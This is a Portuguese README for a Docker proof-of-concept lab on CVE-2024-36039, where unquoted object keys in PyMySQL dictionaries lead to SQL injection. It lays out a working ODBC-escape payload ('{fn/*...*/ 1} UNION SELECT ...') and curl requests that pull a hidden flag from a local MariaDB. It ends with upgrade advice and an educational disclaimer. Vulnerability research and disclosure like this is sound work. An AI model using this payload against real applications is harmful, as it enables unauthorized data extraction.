
PoC para CVE-2024-36039: Demonstrando Injeção SQL via falha de serialização Object-to-String do PyMySQL
Um laboratório completo e reproduzível de Prova de Conceito (PoC) para CVE-2024-36039, demonstrando como uma vulnerabilidade de Injeção de Objeto no PyMySQL (versões <= 1.1.0) pode ser elevada a uma Injeção de SQL completa usando as Sequências de Escape ODBC do MariaDB.
CVE-2024-36039 é uma vulnerabilidade no PyMySQL, uma biblioteca cliente MySQL em Python puro.
Quando consultas parametrizadas (ex.: execute("SELECT * FROM table WHERE data = %s", (my_dict,))) recebem um dicionário Python em que as chaves são objetos personalizados em vez de strings padrão, o PyMySQL usa o método __str__ ou __repr__ do objeto para serializá-lo em uma string SQL.
O Bug: o PyMySQL esquece de escapar (envolver em aspas simples) a string resultante da chave do objeto.
Isso resulta em uma string bruta, sem aspas, sendo injetada diretamente na instrução SQL formatada como um dicionário: {UnquotedObjectString: 'EscapedValue'}.
Por si só, injetar {UnquotedKey: 'Value'} em uma consulta MariaDB acionará um 1064 Syntax Error porque {} não é sintaxe padrão de dados SQL.
No entanto, o MariaDB/MySQL suporta Sequências de Escape ODBC, que usam chaves {}. Para contornar o erro de sintaxe, a string imediatamente após o { deve ser uma palavra-chave ODBC válida (ex.: d, t, ts, fn).
fn/* por meio do seu método __repr__.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : o MariaDB reconhece o início de uma função escalar ODBC./*: "'*/ : o MariaDB trata isso como um comentário de bloco. Os dois-pontos : e a aspa de abertura ' gerados pelo PyMySQL são completamente ignorados! 1} : Completa a função ODBC (efetivamente retornando o inteiro 1). UNION SELECT 1, flag, 3 FROM secret : Nosso payload SQL injetado é executado.-- '"} : O comentário SQL ignora o restante do lixo final ('}).Resultado: Uma Injeção de SQL impecável que contorna tanto a lógica da aplicação quanto a parametrização do PyMySQL!
Clone este repositório e suba o ambiente:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Aguarde cerca de 15 a 20 segundos para o contêiner MariaDB inicializar completamente).
Envie uma requisição JSON padrão. O backend converterá a chave JSON em um objeto CustomKey.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Resposta: Você receberá um Erro de Sintaxe SQL indicando que {yamato: "'Any_value'"} é SQL inválido, confirmando o ponto de injeção.
Injete o payload de sequência de escape ODBC para contornar o erro de sintaxe e extrair a flag oculta da tabela secret.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Resposta (PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
Para corrigir esta vulnerabilidade, atualize o PyMySQL para a versão 1.1.1 ou posterior.
Nas versões corrigidas, os desenvolvedores garantem que todas as chaves do dicionário, independentemente do tipo, sejam devidamente escapadas e recebam aspas antes de serem inseridas na instrução SQL.
pip install --upgrade PyMySQL
Aviso: Este repositório foi criado apenas para fins educacionais e de pesquisa. Não use estas técnicas contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
© 2026 por zenniskayy. Feito para uma internet mais segura.